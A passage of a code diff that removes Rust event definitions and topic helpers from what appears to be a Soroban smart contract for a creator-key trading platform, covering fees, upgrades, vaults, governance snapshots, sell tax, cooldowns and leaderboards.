(#1076) --- - -/// Emitted when a key's circulating supply crosses a milestone threshold and -/// the fee in effect is reduced. -pub const MILESTONE_REACHED_EVENT_NAME: Symbol = symbol_short!("ms_reach"); - -/// Event shape: -/// - topics: `(MILESTONE_REACHED_EVENT_NAME, key_id)` -/// - data: `MilestoneReachedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct MilestoneReachedEvent { - /// The key whose supply crossed the milestone threshold. - pub key_id: Address, - /// 1-based index of the milestone tier that was reached. - pub tier: u32, - /// Circulating supply after the trade that crossed the threshold. - pub supply: u32, - /// New fee in basis points after the reduction. - pub new_fee_bps: u32, - /// Ledger sequence number at the time of the reduction. - pub ledger: u32, -} - -pub fn milestone_reached_topics(key_id: &Address) -> (Symbol, Address) { - (MILESTONE_REACHED_EVENT_NAME, key_id.clone()) -} - -/// Publish a [`MilestoneReachedEvent`] for `key_id`. -pub fn publish_milestone_reached( - env: &Env, - key_id: &Address, - tier: u32, - supply: u32, - new_fee_bps: u32, - ledger: u32, -) { - env.events().publish( - milestone_reached_topics(key_id), - MilestoneReachedEvent { - key_id: key_id.clone(), - tier, - supply, - new_fee_bps, - ledger, - }, - ); -} - -// --- Contract upgrade (#884) --- - -pub const UPGRADE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("upgraded"); - -/// Emitted by `upgrade` with the version before and after the upgrade. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct UpgradeExecutedEvent { - pub old_version: u32, - pub new_version: u32, -} - -pub fn upgrade_executed_topics(admin: &Address) -> (Symbol, Address) { - (UPGRADE_EXECUTED_EVENT_NAME, admin.clone()) -} - -/// Event name for admin-authorised key registration. -pub const KEY_REGISTERED_EVENT_NAME: Symbol = symbol_short!("key_reg"); - -/// Emitted by `register_key`. Keys are identified by their creator address, so -/// `key_id` and `creator` carry the same address. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeyRegisteredEvent { - pub key_id: Address, - pub creator: Address, - pub auction_pending: bool, - pub registered_at_ledger: u32, -} - -pub fn key_registered_topics(key_id: &Address) -> (Symbol, Address) { - (KEY_REGISTERED_EVENT_NAME, key_id.clone()) -} - -/// Event name for a staking vault deposit. -pub const VAULT_DEPOSIT_EVENT_NAME: Symbol = symbol_short!("vlt_dep"); - -/// Event name for a staking vault withdrawal. -pub const VAULT_WITHDRAW_EVENT_NAME: Symbol = symbol_short!("vlt_wdr"); - -/// Stable vault deposit event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(VAULT_DEPOSIT_EVENT_NAME, creator_id, holder)` -/// - data: `VaultDepositEvent` -/// -/// Emitted once per creator key included in a `vault_deposit` call. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct VaultDepositEvent { - /// Creator whose keys were deposited. - pub creator_id: Address, - /// Holder that deposited the keys. - pub holder: Address, - /// Number of keys deposited. - pub amount: u32, - /// Holder's vault shares for this creator after the deposit. - pub holder_shares: u32, - /// Total vault shares for this creator after the deposit. - pub total_shares: u32, - /// Ledger sequence number at the time of the deposit. - pub ledger: u32, -} - -/// Stable vault withdraw event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(VAULT_WITHDRAW_EVENT_NAME, creator_id, holder)` -/// - data: `VaultWithdrawEvent` -/// -/// Emitted once per creator key included in a `vault_withdraw` call. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct VaultWithdrawEvent { - /// Creator whose keys were withdrawn. - pub creator_id: Address, - /// Holder that withdrew the keys. - pub holder: Address, - /// Number of keys returned to the holder. - pub amount: u32, - /// Holder's vault shares for this creator after the withdrawal. - pub holder_shares: u32, - /// Total vault shares for this creator after the withdrawal. - pub total_shares: u32, - /// Ledger sequence number at the time of the withdrawal. - pub ledger: u32, -} - -/// Shared vault deposit event topics tuple. -pub fn vault_deposit_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { - (VAULT_DEPOSIT_EVENT_NAME, creator.clone(), holder.clone()) -} - -/// Shared vault withdraw event topics tuple. -pub fn vault_withdraw_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { - (VAULT_WITHDRAW_EVENT_NAME, creator.clone(), holder.clone()) -} - -/// Event name for an oracle price update. -pub const ORACLE_PRICE_UPDATED_EVENT_NAME: Symbol = symbol_short!("orc_upd"); - -/// Stable oracle price update event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(ORACLE_PRICE_UPDATED_EVENT_NAME, oracle)` -/// - data: `OraclePriceUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct OraclePriceUpdatedEvent { - /// Authorised oracle address that published the price. - pub oracle: Address, - /// Published price. - pub price: i128, - /// Ledger timestamp (seconds) at which the price was published. - pub timestamp: u64, -} - -/// Shared oracle price update event topics tuple. -pub fn oracle_price_updated_topics(oracle: &Address) -> (Symbol, Address) { - (ORACLE_PRICE_UPDATED_EVENT_NAME, oracle.clone()) -} - -/// Event name for a timelocked action proposal. -pub const ACTION_PROPOSED_EVENT_NAME: Symbol = symbol_short!("act_prop"); - -/// Event name for a timelocked action execution. -pub const ACTION_EXECUTED_EVENT_NAME: Symbol = symbol_short!("act_exec"); - -/// Event name for a timelocked action cancellation. -pub const ACTION_CANCELLED_EVENT_NAME: Symbol = symbol_short!("act_canc"); - -/// Stable action proposed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(ACTION_PROPOSED_EVENT_NAME, action_id)` -/// - data: `ActionProposedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ActionProposedEvent { - pub action_id: u32, - pub proposer: Address, - pub change_type: u32, - /// Ledger timestamp (seconds) at which the action was proposed. - pub proposed_at: u64, - /// Earliest ledger timestamp (seconds) at which the action may execute. - pub execution_not_before: u64, -} - -/// Stable action executed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(ACTION_EXECUTED_EVENT_NAME, action_id)` -/// - data: `ActionExecutedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ActionExecutedEvent { - pub action_id: u32, - /// Ledger timestamp (seconds) at which the action was executed. - pub executed_at: u64, -} - -/// Stable action cancelled event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(ACTION_CANCELLED_EVENT_NAME, action_id)` -/// - data: `ActionCancelledEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ActionCancelledEvent { - pub action_id: u32, - /// Ledger timestamp (seconds) at which the action was cancelled. - pub cancelled_at: u64, -} - -/// Shared action proposed event topics tuple. -pub fn action_proposed_topics(action_id: u32) -> (Symbol, u32) { - (ACTION_PROPOSED_EVENT_NAME, action_id) -} - -/// Shared action executed event topics tuple. -pub fn action_executed_topics(action_id: u32) -> (Symbol, u32) { - (ACTION_EXECUTED_EVENT_NAME, action_id) -} - -/// Shared action cancelled event topics tuple. -pub fn action_cancelled_topics(action_id: u32) -> (Symbol, u32) { - (ACTION_CANCELLED_EVENT_NAME, action_id) -} - -// ============================================================================ -// Feature: timelocked contract upgrade — LogicUpgraded / UpgradeApproved -// ============================================================================ - -/// Event name emitted when a timelocked upgrade swaps the contract's logic build. -/// -/// Emitted alongside (never instead of) `UpgradeExecutedEvent`, so indexers -/// already tracking the legacy `upgraded` event keep working unchanged. -pub const LOGIC_UPGRADED_EVENT_NAME: Symbol = symbol_short!("logic_upg"); - -/// Stable payload describing a completed timelocked logic upgrade. -/// -/// Carries both the outgoing and incoming logic identity, which is the whole -/// point of the event: an operator can diff the pair to confirm which build is -/// live and, if it misbehaved, which build to propose a rollback to. -/// -/// Event shape: -/// - topics: `(LOGIC_UPGRADED_EVENT_NAME, action_id)` -/// - data: `LogicUpgradedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LogicUpgradedEvent { - /// Timelocked action that carried out the swap. - pub action_id: u32, - /// Logic (WASM) hash in effect before the upgrade. `None` on the first - /// recorded upgrade, when no prior hash has been retained yet. - pub old_wasm_hash: Option>, - /// Logic (WASM) hash now in effect. - pub new_wasm_hash: BytesN<32>, - pub old_version: u32, - pub new_version: u32, - /// Ledger timestamp (seconds) at which the swap was applied. - pub executed_at: u64, -} - -/// Shared logic-upgraded event topics tuple. -pub fn logic_upgraded_topics(action_id: u32) -> (Symbol, u32) { - (LOGIC_UPGRADED_EVENT_NAME, action_id) -} - -/// Event name emitted when one member of the multi-sig admin set approves a -/// pending timelocked upgrade. -pub const UPGRADE_APPROVED_EVENT_NAME: Symbol = symbol_short!("upg_appr"); - -/// Stable payload for a single multi-sig approval of a pending upgrade. -/// -/// Event shape: -/// - topics: `(UPGRADE_APPROVED_EVENT_NAME, action_id)` -/// - data: `UpgradeApprovedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct UpgradeApprovedEvent { - /// Timelocked action being approved. - pub action_id: u32, - /// Admin that cast this approval. - pub admin: Address, - /// Total distinct approvals recorded so far, including this one. - pub approvals: u32, - /// Distinct approvals required before the upgrade may execute. - pub threshold: u32, - /// Ledger timestamp (seconds) of the approval. - pub approved_at: u64, -} - -/// Shared upgrade-approved event topics tuple. -pub fn upgrade_approved_topics(action_id: u32) -> (Symbol, u32) { - (UPGRADE_APPROVED_EVENT_NAME, action_id) -} - -// ============================================================================ -// Feature: holder_count tracking — HolderCountChanged event -// ============================================================================ - -/// Event name emitted when the holder count for a creator key changes. -pub const HOLDER_COUNT_CHANGED_EVENT_NAME: Symbol = symbol_short!("hc_chg"); - -/// Stable holder-count-changed event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(HOLDER_COUNT_CHANGED_EVENT_NAME, creator_id)` -/// - data: `HolderCountChangedEvent` -/// -/// Emitted every time a wallet crosses the zero-balance boundary (first buy -/// increments, full exit decrements). -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct HolderCountChangedEvent { - /// Creator whose holder count changed. - pub creator_id: Address, - /// Holder count before the change. - pub old_count: u32, - /// Holder count after the change. - pub new_count: u32, - /// Ledger sequence number at the time of the change. - pub ledger: u32, -} - -/// Shared holder-count-changed event topics tuple. -pub fn holder_count_changed_topics(creator_id: &Address) -> (Symbol, Address) { - (HOLDER_COUNT_CHANGED_EVENT_NAME, creator_id.clone()) -} - -// ============================================================================ -// Feature: update_metadata / update_config events -// ============================================================================ - -/// Event name emitted when a creator updates their key metadata. -pub const METADATA_UPDATED_EVENT_NAME: Symbol = symbol_short!("meta_upd"); - -/// Stable metadata-updated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(METADATA_UPDATED_EVENT_NAME, creator_id)` -/// - data: `MetadataUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct MetadataUpdatedEvent { - /// Creator whose metadata was updated. - pub creator_id: Address, - /// Legacy field; the key name is immutable and this remains empty. - pub name: String, - /// Legacy mirror of `description`; empty when unchanged. - pub bio: String, - /// Legacy mirror of `image_cid`; empty when unchanged. - pub avatar_uri: String, - /// Ledger sequence number at the time of the update. - pub ledger: u32, - /// Updated description, or `None` if unchanged. - pub description: Option, - /// Updated image CID, or `None` if unchanged. - pub image_cid: Option, -} - -/// Shared metadata-updated event topics tuple. -pub fn metadata_updated_topics(creator_id: &Address) -> (Symbol, Address) { - (METADATA_UPDATED_EVENT_NAME, creator_id.clone()) -} - -/// Event name emitted when the admin updates protocol config parameters. -pub const CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("cfg_upd"); - -/// Stable config-updated event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(CONFIG_UPDATED_EVENT_NAME, admin)` -/// - data: `ConfigUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ConfigUpdatedEvent { - /// Admin who performed the update. - pub admin: Address, - /// New creator fee basis points. - pub creator_bps: u32, - /// New protocol fee basis points. - pub protocol_bps: u32, - /// New bonding curve slope. - pub curve_slope: i128, - /// Ledger sequence number at the time of the update. - pub ledger: u32, -} - -/// Shared config-updated event topics tuple. -pub fn config_updated_topics(admin: &Address) -> (Symbol, Address) { - (CONFIG_UPDATED_EVENT_NAME, admin.clone()) -} - -// ============================================================================ -// Feature: snapshot mechanism — governance address set/get events -// ============================================================================ - -/// Event name emitted when the governance contract address is configured. -pub const GOVERNANCE_ADDRESS_SET_EVENT_NAME: Symbol = symbol_short!("gov_set"); - -/// Shared governance-address-set event topics tuple. -pub fn governance_address_set_topics(admin: &Address) -> (Symbol, Address) { - (GOVERNANCE_ADDRESS_SET_EVENT_NAME, admin.clone()) -} - -/// Event name emitted when an old snapshot is pruned. -pub const SNAPSHOT_PRUNED_EVENT_NAME: Symbol = symbol_short!("snap_prn"); - -/// Stable snapshot-pruned event payload. -/// -/// Event shape: -/// - topics: `(SNAPSHOT_PRUNED_EVENT_NAME, creator_id)` -/// - data: `SnapshotPrunedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SnapshotPrunedEvent { - pub creator_id: Address, - pub snapshot_id: u32, - pub ledger: u32, -} - -/// Shared snapshot-pruned event topics tuple. -pub fn snapshot_pruned_topics(creator_id: &Address) -> (Symbol, Address) { - (SNAPSHOT_PRUNED_EVENT_NAME, creator_id.clone()) -} - -// ============================================================================ -// Feature: governance voting weight snapshot contract -// ============================================================================ - -/// Event name emitted when a governance voting weight snapshot is taken. -pub const GOVERNANCE_SNAPSHOT_TAKEN_EVENT_NAME: Symbol = symbol_short!("gov_snap"); - -/// Stable governance-snapshot-taken event payload. -/// -/// Event shape: -/// - topics: `(GOVERNANCE_SNAPSHOT_TAKEN_EVENT_NAME, proposal_id)` -/// - data: `GovernanceSnapshotTakenEvent` -/// -/// Emitted automatically when a governance proposal is created, recording the -/// block height at which all holder balances were captured. Downstream indexers -/// use `snapshot_ledger` to correlate voting weights with the proposal's -/// creation block. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct GovernanceSnapshotTakenEvent { - /// Monotonic governance proposal identifier. - pub proposal_id: u32, - /// Ledger sequence at which the snapshot was taken. - pub snapshot_ledger: u32, - /// Number of holder balances recorded in the snapshot. - pub total_holders: u32, -} - -/// Shared governance-snapshot-taken event topics tuple. -pub fn governance_snapshot_taken_topics(proposal_id: u32) -> (Symbol, u32) { - (GOVERNANCE_SNAPSHOT_TAKEN_EVENT_NAME, proposal_id) -} - -/// Event name emitted when a governance snapshot is pruned after resolution. -pub const GOVERNANCE_SNAPSHOT_PRUNED_EVENT_NAME: Symbol = symbol_short!("gov_sprn"); - -/// Stable governance-snapshot-pruned event payload. -/// -/// Event shape: -/// - topics: `(GOVERNANCE_SNAPSHOT_PRUNED_EVENT_NAME, proposal_id)` -/// - data: `GovernanceSnapshotPrunedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct GovernanceSnapshotPrunedEvent { - /// Proposal whose snapshot was pruned. - pub proposal_id: u32, - /// Ledger in which the pruning happened. - pub ledger: u32, -} - -/// Shared governance-snapshot-pruned event topics tuple. -pub fn governance_snapshot_pruned_topics(proposal_id: u32) -> (Symbol, u32) { - (GOVERNANCE_SNAPSHOT_PRUNED_EVENT_NAME, proposal_id) -} - -// ============================================================================ -// Feature: batch_buy with per-key slippage — BatchBuyOrderResult event -// ============================================================================ - -/// Event name emitted per key in a batch buy when a per-order fee is collected. -pub const BATCH_BUY_FEE_COLLECTED_EVENT_NAME: Symbol = symbol_short!("bb_fee"); - -/// Stable batch-buy fee-collected event payload. -/// -/// Event shape: -/// - topics: `(BATCH_BUY_FEE_COLLECTED_EVENT_NAME, creator_id, buyer)` -/// - data: `BatchBuyFeeCollectedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BatchBuyFeeCollectedEvent { - pub creator_id: Address, - pub buyer: Address, - pub quantity: u32, - pub total_price: i128, - pub fee_amount: i128, - pub ledger: u32, -} - -/// Shared batch-buy fee-collected event topics tuple. -pub fn batch_buy_fee_collected_topics( - creator_id: &Address, - buyer: &Address, -) -> (Symbol, Address, Address) { - ( - BATCH_BUY_FEE_COLLECTED_EVENT_NAME, - creator_id.clone(), - buyer.clone(), - ) -} - -// ============================================================================ -// Feature: creator reputation scoring -// ============================================================================ - -/// Event name emitted on every reputation score change. -pub const REPUTATION_UPDATED_EVENT_NAME: Symbol = symbol_short!("rep_upd"); - -/// Stable reputation-updated event payload. -/// -/// Event shape: -/// - topics: `(REPUTATION_UPDATED_EVENT_NAME, creator)` -/// - data: `ReputationUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReputationUpdatedEvent { - /// Creator whose reputation changed. - pub creator: Address, - /// Reputation score before the change. - pub old_score: i128, - /// Reputation score after the change. - pub new_score: i128, - /// Signed points applied by this change. - pub delta: i128, - /// Which on-chain action produced the change. - pub reason: crate::ReputationReason, - /// Ledger in which the change was recorded. - pub ledger: u32, -} - -/// Shared reputation-updated event topics tuple. -pub fn reputation_updated_topics(creator: &Address) -> (Symbol, Address) { - (REPUTATION_UPDATED_EVENT_NAME, creator.clone()) -} - -// ============================================================================ -// Feature: unique trader analytics -// ============================================================================ - -/// Event name emitted the first time a wallet trades a creator's keys. -pub const UNIQUE_TRADER_ADDED_EVENT_NAME: Symbol = symbol_short!("uniq_trd"); - -/// Stable unique-trader event payload. -/// -/// Event shape: -/// - topics: `(UNIQUE_TRADER_ADDED_EVENT_NAME, key_id, trader)` -/// - data: `UniqueTraderAddedEvent` -/// -/// Emitted exactly once per `(key_id, trader)` pair, on that wallet's first -/// buy or sell. Repeat trades from the same wallet emit nothing, so an indexer -/// can count these events directly instead of de-duplicating trade events. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct UniqueTraderAddedEvent { - /// Creator whose keys were traded. - pub key_id: Address, - /// Wallet trading these keys for the first time. - pub trader: Address, - /// Unique trader count after this wallet was counted. - pub unique_trader_count: u64, - /// Ledger in which the first trade was recorded. - pub ledger: u32, -} - -/// Shared unique-trader event topics tuple. -pub fn unique_trader_added_topics( - key_id: &Address, - trader: &Address, -) -> (Symbol, Address, Address) { - ( - UNIQUE_TRADER_ADDED_EVENT_NAME, - key_id.clone(), - trader.clone(), - ) -} - -// ============================================================================ -// Feature: key transfer allowances (approve / transfer_from) -// ============================================================================ - -/// Event name emitted when a holder sets or changes a transfer allowance. -pub const APPROVAL_EVENT_NAME: Symbol = symbol_short!("approval"); - -/// Stable approval event payload. -/// -/// Event shape: -/// - topics: `(APPROVAL_EVENT_NAME, owner, spender)` -/// - data: `ApprovalEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ApprovalEvent { - /// Holder that granted the allowance. - pub owner: Address, - /// Address authorised to spend the allowance. - pub spender: Address, - /// Remaining allowance in whole keys after this call. - pub amount: u32, - /// Creator whose keys the allowance covers. - pub key_id: Address, - /// Ledger in which the approval was recorded. - pub ledger: u32, -} - -/// Shared approval event topics tuple. -pub fn approval_topics(owner: &Address, spender: &Address) -> (Symbol, Address, Address) { - (APPROVAL_EVENT_NAME, owner.clone(), spender.clone()) -} - -/// Event name emitted when a spender consumes an allowance via `transfer_from`. -pub const TRANSFER_FROM_EVENT_NAME: Symbol = symbol_short!("xfer_from"); - -/// Stable transfer-from event payload. -/// -/// Event shape: -/// - topics: `(TRANSFER_FROM_EVENT_NAME, key_id, spender)` -/// - data: `TransferFromEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct TransferFromEvent { - /// Creator whose keys moved. - pub key_id: Address, - /// Address that consumed the allowance. - pub spender: Address, - /// Holder whose balance decreased. - pub from: Address, - /// Holder whose balance increased. - pub to: Address, - /// Number of keys transferred. - pub amount: u32, - /// Allowance remaining after the transfer. - pub remaining_allowance: u32, - /// Ledger in which the transfer executed. - pub ledger: u32, -} - -/// Shared transfer-from event topics tuple. -pub fn transfer_from_topics(key_id: &Address, spender: &Address) -> (Symbol, Address, Address) { - (TRANSFER_FROM_EVENT_NAME, key_id.clone(), spender.clone()) -} - -// ============================================================================ -// Feature: sell tax routed to the buyback pool -// ============================================================================ - -/// Event name emitted when a creator updates their per-key sell tax. -pub const SELL_TAX_UPDATED_EVENT_NAME: Symbol = symbol_short!("tax_upd"); - -/// Stable sell-tax-updated event payload. -/// -/// Event shape: -/// - topics: `(SELL_TAX_UPDATED_EVENT_NAME, creator)` -/// - data: `SellTaxUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SellTaxUpdatedEvent { - /// Creator whose sell tax changed. - pub creator: Address, - /// Previous sell tax in basis points. - pub old_tax_bps: u32, - /// New sell tax in basis points. - pub new_tax_bps: u32, - /// Ledger in which the change was recorded. - pub ledger: u32, -} - -/// Shared sell-tax-updated event topics tuple. -pub fn sell_tax_updated_topics(creator: &Address) -> (Symbol, Address) { - (SELL_TAX_UPDATED_EVENT_NAME, creator.clone()) -} - -/// Event name emitted on every sell that collects a non-zero tax. -pub const SELL_TAX_COLLECTED_EVENT_NAME: Symbol = symbol_short!("tax_col"); - -/// Stable sell-tax-collected event payload. -/// -/// Event shape: -/// - topics: `(SELL_TAX_COLLECTED_EVENT_NAME, creator, seller)` -/// - data: `SellTaxCollectedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SellTaxCollectedEvent { - /// Creator whose key was sold. - pub creator: Address, - /// Seller that paid the tax. - pub seller: Address, - /// Tax amount in XLM stroops, already forwarded to `pool`. - pub amount: i128, - /// Address credited with the tax. - pub pool: Address, - /// Tax rate applied in basis points. - pub tax_bps: u32, - /// Gross sell proceeds the tax was deducted from. - pub gross_proceeds: i128, - /// Proceeds actually delivered to the seller after the tax. - pub net_proceeds: i128, - /// Buyback pool balance after the tax was added. - pub pool_balance: i128, - /// Ledger in which the tax was collected. - pub ledger: u32, -} - -/// Shared sell-tax-collected event topics tuple. -pub fn sell_tax_collected_topics( - creator: &Address, - seller: &Address, -) -> (Symbol, Address, Address) { - ( - SELL_TAX_COLLECTED_EVENT_NAME, - creator.clone(), - seller.clone(), - ) -} - -// ============================================================================ -// Feature: governance quorum escalation -// ============================================================================ - -/// Event name emitted each time a proposal's voting deadline is extended. -pub const PROPOSAL_EXTENDED_EVENT_NAME: Symbol = symbol_short!("prop_ext"); - -/// Stable proposal-extended event payload. -/// -/// Event shape: -/// - topics: `(PROPOSAL_EXTENDED_EVENT_NAME, creator_id, poll_id)` -/// - data: `ProposalExtendedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ProposalExtendedEvent { - /// Creator that owns the proposal. - pub creator_id: Address, - /// Proposal id, scoped to the creator. - pub poll_id: u32, - /// Deadline before the extension. - pub old_expires_at: u32, - /// Deadline after the extension. - pub new_expires_at: u32, - /// Extensions consumed after this call. - pub extensions_used: u32, - /// Maximum extensions allowed by the active config. - pub max_extensions: u32, - /// Ledger in which the extension was applied. - pub ledger: u32, -} - -/// Shared proposal-extended event topics tuple. -pub fn proposal_extended_topics(creator_id: &Address, poll_id: u32) -> (Symbol, Address, u32) { - (PROPOSAL_EXTENDED_EVENT_NAME, creator_id.clone(), poll_id) -} - -/// Event name emitted when the protocol admin changes the escalation config. -pub const ESCALATION_CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("esc_cfg"); - -/// Stable escalation-config-updated event payload. -/// -/// Event shape: -/// - topics: `(ESCALATION_CONFIG_UPDATED_EVENT_NAME, admin)` -/// - data: `EscalationConfigUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct EscalationConfigUpdatedEvent { - /// Admin that applied the change. - pub admin: Address, - /// `true` when a config was already active before this call. - pub had_previous_config: bool, - /// Previously active threshold in basis points. - pub old_threshold_bps: u32, - /// Previously active extension duration in ledgers. - pub old_extension_ledgers: u32, - /// Previously active extension cap. - pub old_max_extensions: u32, - /// Newly active threshold in basis points. - pub new_threshold_bps: u32, - /// Newly active extension duration in ledgers. - pub new_extension_ledgers: u32, - /// Newly active extension cap. - pub new_max_extensions: u32, - /// Ledger in which the change was recorded. - pub ledger: u32, -} - -/// Shared escalation-config-updated event topics tuple. -pub fn escalation_config_updated_topics(admin: &Address) -> (Symbol, Address) { - (ESCALATION_CONFIG_UPDATED_EVENT_NAME, admin.clone()) -} - -// ============================================================================ -// Trade cooldown violation (issue #974) -// ============================================================================ - -/// Event name emitted when a buy or sell is blocked by the per-wallet trade -/// cooldown configured via `set_cooldown`. -pub const COOLDOWN_VIOLATION_EVENT_NAME: Symbol = symbol_short!("cd_viol"); - -/// Event name emitted when a creator updates their trade cooldown duration via -/// `set_cooldown`. -pub const COOLDOWN_SET_EVENT_NAME: Symbol = symbol_short!("cd_set"); - -/// Payload for a blocked trade due to the per-wallet trade cooldown (issue #974). -/// -/// Event shape: -/// - topics: `(COOLDOWN_VIOLATION_EVENT_NAME, creator_id, wallet)` -/// - data: `CooldownViolationEvent` -/// -/// Emitted inside `buy_keys_with_referrer` and `sell_key` when a trade is -/// rejected because the per-wallet cooldown window has not yet elapsed. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CooldownViolationEvent { - /// Wallet whose trade was blocked. - pub wallet: Address, - /// Creator whose key was being traded. - pub creator_id: Address, - /// Unix timestamp at which the cooldown expires and trading resumes. - pub expires_at: u64, - /// Seconds remaining until the cooldown expires. - pub seconds_remaining: u64, -} - -/// Shared cooldown-violation event topics tuple. -pub fn cooldown_violation_topics( - creator: &Address, - wallet: &Address, -) -> (Symbol, Address, Address) { - ( - COOLDOWN_VIOLATION_EVENT_NAME, - creator.clone(), - wallet.clone(), - ) -} - -/// Payload emitted when a creator sets (or updates) their trade cooldown -/// duration via `set_cooldown` (issue #974). -/// -/// Event shape: -/// - topics: `(COOLDOWN_SET_EVENT_NAME, creator_id)` -/// - data: `CooldownSetEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CooldownSetEvent { - /// Creator whose cooldown was updated. - pub creator_id: Address, - /// New cooldown duration in seconds (`0` disables the cooldown). - pub duration_secs: u64, -} - -/// Shared cooldown-set event topics tuple. -pub fn cooldown_set_topics(creator: &Address) -> (Symbol, Address) { - (COOLDOWN_SET_EVENT_NAME, creator.clone()) -} - -/// Event name for configuring a graduated bonding curve with supply milestones. -pub const GRADUATED_CURVE_CONFIGURED_EVENT_NAME: Symbol = symbol_short!("grad_crv"); - -/// Stable graduated curve configured event payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct GraduatedCurveConfiguredEvent { - /// Creator whose curve was configured. - pub creator: Address, - /// All milestone `(supply_threshold, exponent)` pairs. - pub milestones: Vec<(u32, u32)>, - /// Ledger sequence at the time of configuration. - pub ledger: u32, -} - -/// Shared graduated curve configured event topics tuple. -pub fn graduated_curve_configured_topics(creator: &Address) -> (Symbol, Address) { - (GRADUATED_CURVE_CONFIGURED_EVENT_NAME, creator.clone()) -} - -// ============================================================================ -// Feature: leaderboard snapshot — top holder rankings (issue #924) -// ============================================================================ - -/// Event name emitted when a leaderboard snapshot is recorded. -pub const LEADERBOARD_SNAPSHOT_TAKEN_EVENT_NAME: Symbol = symbol_short!("ldbrd_tk"); - -/// Stable leaderboard-snapshot-taken event payload. -/// -/// Event shape: -/// - topics: `(LEADERBOARD_SNAPSHOT_TAKEN_EVENT_NAME, creator_id, snapshot_ledger)` -/// - data: `LeaderboardSnapshotTakenEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LeaderboardSnapshotTakenEvent { - /// Creator whose holder balances were ranked. - pub creator_id: Address, - /// Ledger sequence the snapshot was taken at. - pub snapshot_ledger: u32, - /// Leaderboard size `N` in effect when the snapshot was taken. - pub top_n: u32, - /// Number of candidate wallets holding at least one key. - pub total_candidates: u32, - /// Number of ranked entries actually stored (at most `top_n`). - pub recorded_entries: u32, -} - -/// Shared leaderboard-snapshot-taken event topics tuple. -pub fn leaderboard_snapshot_taken_topics( - creator_id: &Address, - snapshot_ledger: u32, -) -> (Symbol, Address, u32) { - ( - LEADERBOARD_SNAPSHOT_TAKEN_EVENT_NAME, - creator_id.clone(), - snapshot_ledger, - ) -} - -/// Event name emitted when an aged-out leaderboard snapshot is pruned. -pub const LEADERBOARD_SNAPSHOT_PRUNED_EVENT_NAME: Symbol = symbol_short!("ldbrd_pr"); - -/// Stable leaderboard-snapshot-pruned event payload. -/// -/// Event shape: -/// - topics: `(LEADERBOARD_SNAPSHOT_PRUNED_EVENT_NAME, creator_id, snapshot_ledger)` -/// - data: `LeaderboardSnapshotPrunedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LeaderboardSnapshotPrunedEvent { - /// Creator the pruned snapshot belonged to. - pub creator_id: Address, - /// Ledger sequence of the pruned snapshot. - pub snapshot_ledger: u32, - /// Ledger in which the pruning happened. - pub current_ledger: u32, -} - -/// Shared leaderboard-snapshot-pruned event topics tuple. -pub fn leaderboard_snapshot_pruned_topics( - creator_id: &Address, - snapshot_ledger: u32, -) -> (Symbol, Address, u32) { - ( - LEADERBOARD_SNAPSHOT_PRUNED_EVENT_NAME, - creator_id.clone(), - snapshot_ledger, - ) -} - -/// Event name emitted when the protocol admin updates the leaderboard config. -pub const LEADERBOARD_CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("ldbrd_cf"); - -/// Stable leaderboard-config-updated event payload. -/// -/// Event shape: -/// - topics: `(LEADERBOARD_CONFIG_UPDATED_EVENT_NAME, admin)` -/// - data: `LeaderboardConfigUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LeaderboardConfigUpdatedEvent { 